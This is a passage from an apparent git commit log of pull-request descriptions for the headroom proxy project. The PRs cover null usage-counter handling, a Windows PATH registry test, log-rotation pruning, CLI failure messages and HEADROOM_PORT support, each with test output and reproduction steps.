flowed into:

```python
provider_input_tokens=(uncached_input_tokens + cr_tokens + cw_tokens)
```

raising `TypeError: unsupported operand type(s) for +: 'NoneType' and
'NoneType'`, which the outer handler converted into a failed turn (HTTP
500 `api_error`) instead of a normal 200 with zeroed counters.

The direct-Anthropic-API branch a few hundred lines down already guards
this exact case with `int(usage.get(key, 0) or 0)`, and the surrounding
code even comments that a backend may "send null" for `input_tokens`
(and None-guards that field). The buffered branch was simply left
behind, so the two parallel paths disagreed on null handling.

## Fix

Coerce the three counters on the buffered path with `int(usage.get(key,
0) or 0)`, exactly matching the direct-API idiom, so a present-null
value becomes `0` instead of `None`. The already-present `input_tokens
is not None` guard is unaffected, and its fallback subtraction now
operates on coerced ints.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/handlers/anthropic.py` (buffered backend branch of
`handle_anthropic_messages`): coerce `output_tokens`,
`cache_read_input_tokens` and `cache_creation_input_tokens` with
`int(usage.get(key, 0) or 0)` so a present-null value is treated as `0`,
matching the direct-Anthropic path.
- `tests/test_backend_nonstreaming_cache_metrics.py`: added
`test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash`,
driving the buffered backend path with present-null `output_tokens` /
`cache_read_input_tokens` / `cache_creation_input_tokens` and asserting
a 200 with a recorded `RequestOutcome` whose counters are `0` and whose
uncached input comes from the present `input_tokens`.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_backend_nonstreaming_cache_metrics.py  7 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 headroom/proxy/handlers/anthropic.py -> Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: ran the new regression against the unpatched
handler and captured the crash (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py::test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash
-x -q` -> `assert 500 == 200` with body
`{"type":"error","error":{"type":"api_error","message":"unsupported
operand type(s) for +: 'NoneType' and 'NoneType'"}}`); applied the
`int(... or 0)` coercion; re-ran the whole file (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py -q` -> 7 passed); then
`uvx ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and `uvx
mypy@1.20.2 headroom/proxy/handlers/anthropic.py`.
- Observed result: before the fix a backend response whose usage carries
`cache_read_input_tokens: null` (or a null `output_tokens` /
`cache_creation_input_tokens`) returned HTTP 500 and recorded no
outcome; after the fix the same response returns 200, the counters
coerce to `0`, and the `PERF` line reports `cache_read=0 cache_write=0`.
- Not tested: a live Bedrock/Vertex session emitting a real null-counter
usage block (the null-usage shape is reproduced directly through the
mocked backend that the existing suite already uses for this path).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is the buffered Anthropic
response-accounting path behind `handle_anthropic_messages`, not a
rollout-channel-gated runtime feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. A backend response
with present-null usage counters now completes with a 200 and zeroed
counters instead of failing the turn with a 500. Responses with numeric
counters are unaffected.
- Kill switch / disable path: N/A. There is no behavioral toggle; the
change only hardens numeric coercion on the accounting path and does not
alter routing, compression, or request forwarding.
- Unsafe override required: no.
- Qualification impact: Bedrock / Vertex / LiteLLM(anthropic)
non-streaming turns that report a null cache/output counter stop 500-ing
and are recorded with zeroed counters, matching the direct-Anthropic
path.
- Rollback path: revert this PR; the buffered path returns to the bare
`usage.get(key, 0)` reads.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

This mirrors the recently fixed Gemini CCR-continuation present-null
usage bug: the same `dict.get(key, default)` present-null trap, on the
parallel Anthropic backend path. Only the buffered (non-streaming)
backend branch was affected; the direct-Anthropic and streaming paths
already coerce with `or 0`.
2026-08-17 20:21:09 -07:00
Parideboy c3c921f2f7 test(install/windows): verify the PATH guard against the real HKCU registry (#3068)
## Description

Follow-up requested in review of #2972, on top of the merged fix for
#2970 (#2985). Test-only; no
production code is touched and the `HEADROOM_INSTALL_PATH_SCOPE`
mechanism is unchanged.

`test_powershell_installer_does_not_leak_into_user_path` currently
guards the fix by comparing the
entry count of `[Environment]::GetEnvironmentVariable('Path','User')`
across an installer run. That
infers success from the environment variable rather than verifying it,
and it leaves three gaps:

- The .NET getter expands `%USERPROFILE%`-style references, so it cannot
observe a change of the
  registry value kind (`REG_EXPAND_SZ` vs `REG_SZ`) at all.
- A count comparison passes when an entry is replaced or reordered
rather than appended.
- There is no restore path. If the guard regresses, the test reports the
leak and then leaves the
polluted value behind in the contributor's registry, which is precisely
the damage #2970
  described: the test that detects the pollution also causes it.

This PR reads `HKCU\Environment` directly instead, so the assertion
verifies the guard rather than
assuming it.

## Type of Change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [x] Code refactoring (no functional changes)

## Changes Made

- `tests/test_install/test_native_installers.py`: new
`_read_user_path_entry` helper returning the
raw `HKCU\Environment` `Path` value together with its registry kind (or
`None` when the value is
absent), and `_restore_user_path_entry` writing that exact value and
kind back. Both import
`winreg` inside the function body, so the module still imports on
non-Windows hosts.
- `tests/test_install/test_native_installers.py`:
`test_powershell_installer_does_not_leak_into_user_path`
now records the raw value before the run and asserts both that the
throwaway install dir is absent
from the value afterwards (naming the #2970 symptom in the failure
message) and that value and
kind are byte-identical. The PowerShell subprocess that counted PATH
entries is gone, so the test
  also spawns one process fewer.
- `tests/test_install/test_native_installers.py`: the test now runs
under `try/finally`. The
`finally` cleans up the fake docker state, which this test was missing
relative to its sibling

`test_powershell_native_installer_supports_persistent_docker_lifecycle`,
and restores the recorded
registry value only when it actually changed, so a passing run performs
zero registry writes and a
  regressed run cannot leave the contributor's PATH polluted.

The scope allow-list tests added by #2985 (`_ENSURE_PATH_SCOPE_HARNESS`,
`test_path_scope_accepts_process_case_insensitively`,
`test_path_scope_rejects_machine_and_invalid_values`)
are untouched.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run pytest tests/test_install/test_native_installers.py -q
platform win32 -- Python 3.13.11, pytest-9.0.3, pluggy-1.6.0
collected 5 items

tests\test_install\test_native_installers.py s....                       [100%]

======================== 4 passed, 1 skipped in 23.59s ========================

$ uv run ruff check .
All checks passed!

$ uv run ruff format --check tests/test_install/test_native_installers.py
1 file already formatted

$ uv run mypy headroom --ignore-missing-imports
Success: no issues found in 521 source files
```

The strengthened assertion was proven to detect a regression by
temporarily neutralising the scope
override in `scripts/install.ps1` (`if ($false -and
$env:HEADROOM_INSTALL_PATH_SCOPE)`), so
`Ensure-PathEntry` writes the `User` scope unconditionally again:

```text
$ uv run pytest tests/test_install/test_native_installers.py -q -k does_not_leak_into_user_path
tests\test_install\test_native_installers.py:638: in test_powershell_installer_does_not_leak_into_user_path
    assert str(home) not in (after[0] if after else ""), (
E   AssertionError: installer leaked the throwaway install dir into the real User PATH:
E     C:\Users\<user>\AppData\Local\Temp\pytest-of-<user>\pytest-154\test_powershell_installer_does0\home

======================= 1 failed, 4 deselected in 2.72s =======================
```

## Real Behavior Proof

- Environment: Windows 11 Pro 10.0.26200, PowerShell 7, Python 3.13.11,
pytest 9.0.3, headroom at
  `main` (`a6ab359a`), provider Anthropic
- Exact command / steps: recorded the raw `HKCU\Environment` `Path`
value with
`python -c "import winreg; ...QueryValueEx(k,'Path')"`, capturing its
registry kind, entry count
and a SHA-256 of the value; ran the full installer test file on the
patched tree; re-read the
registry; then neutralised the scope override in `scripts/install.ps1`
as shown above, re-ran the
single leak test, and re-read the registry a third time to confirm the
failure path restored it.
- Observed result: baseline `kind 1 entries 21 sha256 683ee646a95b8a28`.
After the passing run the
value was identical (`kind 1 entries 21 sha256 683ee646a95b8a28`), so a
passing run writes nothing.
With the override neutralised the test failed as quoted above and the
registry read afterwards was
again byte-identical to the recorded backup (compared as an exact
`{value, kind}` match, `True`),
confirming the `finally` restore. After reverting `scripts/install.ps1`,
the full file is back to
  4 passed, 1 skipped with the registry still unchanged.
- Not tested: non-Windows hosts (the changed test is Windows-only and
already skipped elsewhere;
`scripts/install.sh` is untouched), elevated/admin installs, and the
`Machine` scope, which
  `Ensure-PathEntry` rejects outright.

One open question this change is positioned to catch but does not
resolve: on this host the
`HKCU\Environment` `Path` value is `REG_SZ` (kind `1`), not
`REG_EXPAND_SZ`. A real install persists
through `[Environment]::SetEnvironmentVariable(..., 'User')`, which is
the API class known to rewrite
that value, so it is possible that a production install silently
downgrades an expandable PATH and
freezes `%USERPROFILE%`-style entries. I have not verified whether
headroom's installer caused it on
this machine or whether the value was always `REG_SZ`, and this PR
deliberately does not chase it.
Happy to open a separate issue if that is worth investigating.

## Runtime Rollout Safety

- Rollout-managed feature(s): none (test-only change)
- Minimum rollout channel: n/a
- Stable/default behavior changed: no; no production code path is
modified
- Kill switch / disable path: n/a
- Unsafe override required: no
- Qualification impact: none
- Rollback path: revert this commit; the test returns to the entry-count
comparison

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 20:21:03 -07:00
gglucass 6c9f41e08c perf(perf): skip rotated logs outside the requested window (#3081)
## Description

`parse_log_files(last_n_hours=N)` reads every `proxy.log*` file in full
— line by line, applying the PERF / STAGE_TIMINGS / ROUTER regexes to
each — and only then filters records against the cutoff. The cost of a
windowed query is O(retained log history), not O(window).

`/stats` is the hot caller. `_build_stats_payload` recomputes throughput
over `last_n_hours=1.0` behind a 10s cache TTL, so anything polling the
endpoint re-reads and re-regexes the entire rotated set every 10 seconds
for an answer that lives in the tail of the newest file or two.

Rotation caps the log directory at 10 MB × 5 backups
(`proxy/helpers.py`), so this is a bounded ~60 MB rather than an
unbounded leak. But it is a fixed tax that ramps up as a user's logs
fill toward that ceiling and then stays there — on a machine that has
reached the cap it is ~0.43s of pure waste on every stats rebuild.

The fix: skip any file whose mtime predates the cutoff. The logs are
append-only, so a file untouched since before the window cannot contain
a record inside it. `--hours 0` ("all data") still reads everything.

## Type of Change

- [x] Performance improvement

## Changes Made

- `parse_log_files` prunes rotated files by mtime before opening them;
files are `stat`'d once and the value reused for the ordering
(previously `stat`'d once per file anyway, as the sort key).
- A file that rotates away between `glob` and `stat` is skipped instead
of raising `OSError`.
- New `PerfReport.log_files_skipped` so coverage reporting stays honest
— `log_files_read` on its own would silently understate how much log
exists on disk. Defaulted, so existing callers are unaffected.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

Both new tests were confirmed to fail against unpatched `main`. The
windowed one fails on behavior (`total_lines_parsed`: `assert 2 == 1`),
not merely on the new field — the assertion order is deliberate, since a
read-then-filter implementation produces the same records and only
differs in work done.

### Test Output

```text
$ uv run --frozen --extra dev pytest tests/test_cli_perf_format.py \
    tests/test_proxy_dashboard_stats_cache.py tests/test_agent_savings.py -q
59 passed, 1 skipped, 1 warning in 3.36s

$ uvx ruff check headroom/perf/analyzer.py tests/test_cli_perf_format.py
All checks passed!

$ uvx ruff format --check headroom/perf/analyzer.py tests/test_cli_perf_format.py
2 files already formatted

$ uv run --frozen --extra dev mypy headroom/perf/analyzer.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: macOS 15 (arm64), Python 3.10.18, headroom-ai at
6d2254df, against a real `~/.headroom/logs` holding 54 MB across six
rotations (`proxy.log` + `.1`–`.5`) from a proxy that had been running
for weeks.
- Exact command / steps: pointed `analyzer.LOG_DIR` at the live log
directory and timed `parse_log_files(last_n_hours=1.0)` three times,
taking the median; ran it once on this branch and once with
`headroom/perf/analyzer.py` stashed back to `main`.
- Observed result: main = 0.426s median, 6 files read, 246,819 lines
parsed. This branch = 0.141s median, 2 files read, 4 skipped, 48,147
lines parsed. 3.0x faster, 80% fewer lines parsed, identical throughput
figure. The two files still read are the live log and one rotation that
had been written inside the last hour, which is correct.
- Not tested: Windows and Linux (the mtime semantics used here are
POSIX-standard and `pathlib` handles both, but I ran only macOS). No
benchmark on a log directory below the rotation ceiling — the win there
is proportionally smaller by construction, since there is less stale
history to skip.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is a pure read-path
optimization inside the perf log parser.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: no. Windowed queries return the same
records; only the work to produce them changes. `--hours 0` is
untouched.
- Kill switch / disable path: n/a — revert the commit. There is no flag
because there is no behavior to toggle.
- Unsafe override required: no.
- Qualification impact: none.
- Rollback path: single-commit revert; `PerfReport.log_files_skipped` is
a defaulted field, so no persisted or serialized data depends on it.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
2026-08-17 20:20:56 -07:00
gglucass c5563d3a7d fix(learn): include stdout in CLI failure messages, not just stderr (#3080)
## Description

`headroom learn` reports CLI backend failures using **stderr only**.
`claude -p --output-format stream-json --verbose` writes *nothing* to
stderr when the run fails at the API layer, so the failure a user
actually sees is a message that stops at the colon:

```text
LLM analysis failed: `claude -p --output-format stream-json --verbose` failed (exit 1):
```

The reason is not missing, it is discarded. Claude Code still emits a
final `result` event on stdout whose `result` field is the
human-readable cause, and the streaming path has already parsed it into
`final_result` one line above the `raise`. This makes a whole class of
failures undiagnosable for users and maintainers alike: a usage limit,
an unreachable local proxy, and an expired login all render identically
as an empty message.

Reported by a desktop user who could only tell us "sometimes i have this
LLM analysis failed" with nothing after the colon.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Add `_failure_detail(stderr, stdout, *, result_text=None)` in
`headroom/learn/analyzer.py`. Prefers the already-parsed `result` text,
falls back to the **tail** of stdout (CLI backends emit the error last,
after their whole event log), keeps stderr when present, and returns
`"(no output captured)"` so the message is never a dangling colon.
- Use it in `_call_claude_cli_streaming` (streaming claude-cli path) and
in `_call_cli_llm` (the `subprocess.run` backends, gemini-cli /
codex-cli), so the same blind spot is closed for every CLI backend
rather than only the one that was reported.
- Existing truncation behaviour is unchanged: each stream is still
capped at `_MAX_SNIPPET_LEN`.

Complements #3016, which makes an analysis failure propagate instead of
being swallowed as success; that PR fixes *whether* the user learns a
failure happened, this one fixes *what* the failure says. No overlapping
lines.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run --frozen --extra dev pytest tests/test_learn/ -q
247 passed, 4 skipped in 27.08s

$ uvx ruff check headroom/learn/analyzer.py tests/test_learn/test_analyzer.py
All checks passed!

$ uvx ruff format --check headroom/learn/analyzer.py tests/test_learn/test_analyzer.py
2 files already formatted

$ uv run --frozen --extra dev mypy headroom/learn/analyzer.py
Success: no issues found in 1 source file
```

New tests:
`test_claude_cli_nonzero_exit_includes_api_error_from_stdout`,
`test_claude_cli_nonzero_exit_with_no_output_says_so`,
`test_claude_cli_nonzero_exit_keeps_stderr_when_present`,
`test_codex_nonzero_exit_includes_stdout_when_stderr_empty`.

## Real Behavior Proof

- Environment: macOS 15.6 (Darwin 24.6.0), Claude Code 2.1.228, Python
3.10.18, headroom on this branch.
- Exact command / steps: forced an API-layer failure in the exact
command the analyzer runs, capturing the streams separately: `echo "say
hi" | claude -p --output-format stream-json --verbose --settings
'{"env":{"ANTHROPIC_BASE_URL":"http://127.0.0.1:9"}}' > out.txt 2>
err.txt; echo "EXIT=$?"; wc -c err.txt; tail -c 400 out.txt`
- Observed result: `EXIT=1`, `err.txt` is **0 bytes**, and the reason
appears only in the last stdout line: `"terminal_reason":"api_error",
..., "result":"API Error: Connection refused — a firewall or proxy may
be blocking it (ConnectionRefused)"`. A second run with `--bare`
produced the same shape with `"result":"Not logged in · Please run
/login"`. Before this change both surface as `failed (exit 1):` with
nothing after the colon; after it, the `result` text is in the message.
The unit tests encode this exact stream shape (stdout `result` event,
empty stderr, exit 1).
- Not tested: real usage-limit and 429 responses, which I cannot provoke
on demand. They travel the same code path as the reproduced `api_error`
case (final `result` event on stdout, empty stderr), so they are covered
by construction rather than by observation. Windows and the gemini-cli
backend were not exercised manually; the shared helper is covered by
unit tests for both the streaming and `subprocess.run` paths.

## Runtime Rollout Safety

- Rollout-managed feature(s): None. This touches only the error text
raised by `headroom learn`'s CLI backends; no rollout-gated feature,
flag, or runtime component is involved.
- Minimum rollout channel: N/A, not rollout-gated. Ships with the
package like any other library fix.
- Stable/default behavior changed: Yes, narrowly. The message text of an
existing `RuntimeError` on a non-zero CLI exit now includes the
stdout/`result` reason alongside stderr. No control flow, exit code,
public API, or return value changes: the same exception is raised in the
same cases.
- Kill switch / disable path: None needed. Nothing is enabled or newly
executed, so there is nothing to switch off; the only behavioral surface
is the string inside an exception that was already being raised.
- Unsafe override required: No.
- Qualification impact: None. No qualification-gated path, model, or
provider behavior is touched. Callers that pattern-match this message on
`"failed (exit N)"` still match, since that prefix is unchanged.
- Rollback path: Revert this commit. The previous stderr-only message
returns with no migration, state, or config to undo.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-17 20:20:45 -07:00
Abhay Singh 58f28dc7a6 fix(install): honor HEADROOM_PORT in install apply and deploy (#3085)
## Description

`headroom install apply --preset persistent-service` and `headroom
deploy` ignored an explicit `HEADROOM_PORT` and always configured port
8787, even though `headroom proxy --port` honors `HEADROOM_PORT`. Anyone
running a second instance, or avoiding a port conflict, got a silently
wrong configuration, and the failure is especially confusing because the
override *appears* supported on the direct proxy path.

Root cause: the `--port` options on the `install apply` and `deploy`
commands were declared with a hardcoded `default=8787` and **no**
`envvar` binding:

```python
@click.option("--port", "-p", default=8787, type=int, show_default=True, help="Persistent proxy port.")
```

The proxy command's `--port` already carries `envvar="HEADROOM_PORT"`,
so the two paths disagreed. `build_manifest` /
`_build_deployment_manifest` already thread the `port` argument all the
way through to the generated `HEADROOM_PORT` base-env and the health
URL, so the value was simply never resolved from the environment at the
CLI boundary.

## Fix

Bind both `--port` options to `envvar="HEADROOM_PORT"`, matching the
proxy command. Click resolves the value from the environment when
`--port` is not passed, and an explicit `--port` still wins over the env
var (standard Click precedence: explicit CLI argument over `envvar` over
`default`).

## Scope

This addresses **bug 1** of #3072. Bug 2 (`install status` reporting
`Status: stopped` alongside `Healthy: yes`, disagreeing with `doctor`)
is an unrelated status-reporting concern that the reporter offered a
live repro for; it is left for a separate follow-up rather than bundled
here.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/cli/install.py`: add `envvar="HEADROOM_PORT"` to the
`--port` option on both `install apply` and `deploy` (and note the env
var in each help string), matching `headroom proxy --port`.
- `tests/test_cli/test_install_cli.py`: added
`test_install_apply_honors_headroom_port_env`,
`test_install_apply_explicit_port_overrides_env`, and
`test_deploy_honors_headroom_port_env`, capturing the `port` that
reaches the manifest builder.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_cli/test_install_cli.py  40 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 headroom/cli/install.py -> Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted the source fix and ran the two new
env-var tests to capture the bug (`python -m pytest
tests/test_cli/test_install_cli.py::test_install_apply_honors_headroom_port_env
tests/test_cli/test_install_cli.py::test_deploy_honors_headroom_port_env`
-> both failed with `assert 8787 == 8788`, proving `HEADROOM_PORT=8788`
was dropped); restored the fix; re-ran the full file (`python -m pytest
tests/test_cli/test_install_cli.py` -> 40 passed); then `uvx
ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and `uvx mypy@1.20.2
headroom/cli/install.py`.
- Observed result: with the fix, `HEADROOM_PORT=8788 headroom install
apply` (and `deploy`) resolves `port=8788` into `build_manifest`, so the
generated service config and `HEADROOM_PORT` base-env use 8788; passing
`--port 9999` alongside the env var still yields 9999.
- Not tested: an end-to-end persistent-service install on a machine with
a running supervisor (the CLI-to-manifest port resolution is verified
through the manifest builder, which already owns the downstream wiring
covered by the existing planner tests).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is a CLI option-binding fix on
the install/deploy commands, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: only when `HEADROOM_PORT` is set in
the environment. Previously it was ignored (config wired to 8787); now
the install/deploy path honors it, matching `headroom proxy`. With no
`HEADROOM_PORT` set and no `--port`, the default is still 8787, so
existing installs are unaffected.
- Kill switch / disable path: unset `HEADROOM_PORT` (or pass `--port
8787`) to keep the prior port.
- Unsafe override required: no.
- Qualification impact: `install apply` / `deploy` now provision the
proxy on the operator's requested port instead of always 8787, so a
second instance or a port-conflict workaround configures correctly.
- Rollback path: revert this PR; the `--port` options return to ignoring
`HEADROOM_PORT`.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

Reported by @vsg-prog (split out of #3040 into #3072). The `--port`
option already carried the correct `type`/range validation and threaded
through the manifest builder; the only gap was the missing `envvar`
binding at the CLI boundary.
2026-08-17 20:20:38 -07:00